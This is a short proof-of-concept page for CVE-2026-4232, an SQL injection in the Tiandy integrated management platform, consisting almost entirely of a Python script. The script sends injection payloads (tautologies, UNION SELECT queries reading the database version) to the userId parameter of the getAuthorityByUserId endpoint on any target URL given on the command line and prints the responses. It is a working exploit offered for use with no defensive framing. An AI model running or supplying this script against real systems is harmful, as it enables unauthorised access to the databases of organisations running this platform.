CVE-2026-4232 Tiandy综合管理平台 userId参数SQL注入漏洞

import requests import sys # CVE-2026-4232 PoC - Tiandy IMP SQL Injection # Target: /rest/user/getAuthorityByUserId def exploit(target_url, user_id_payload): """ Exploit SQL injection in Tiandy IMP getAuthorityByUserId endpoint """ endpoint = f"{target_url}/rest/user/getAuthorityByUserId" params = {"userId": user_id_payload} print(f"[*] Target: {endpoint}") print(f"[*] Payload: {user_id_payload}") try: response = requests.get(endpoint, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: print("[+] Request successful - potential SQL injection") print(f"[+] Response preview: {response.text[:500]}") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-4232.py <target_url>") print("Example: python cve-2026-4232.py http://192.168.1.100:8080") sys.exit(1) target = sys.argv[1] # Basic SQL injection test payloads payloads = [ "1", "1' OR '1'='1", "1' UNION SELECT NULL--", "1' UNION SELECT version()--", "1' AND 1=1--" ] for payload in payloads: print("\n" + "="*50) exploit(target, payload)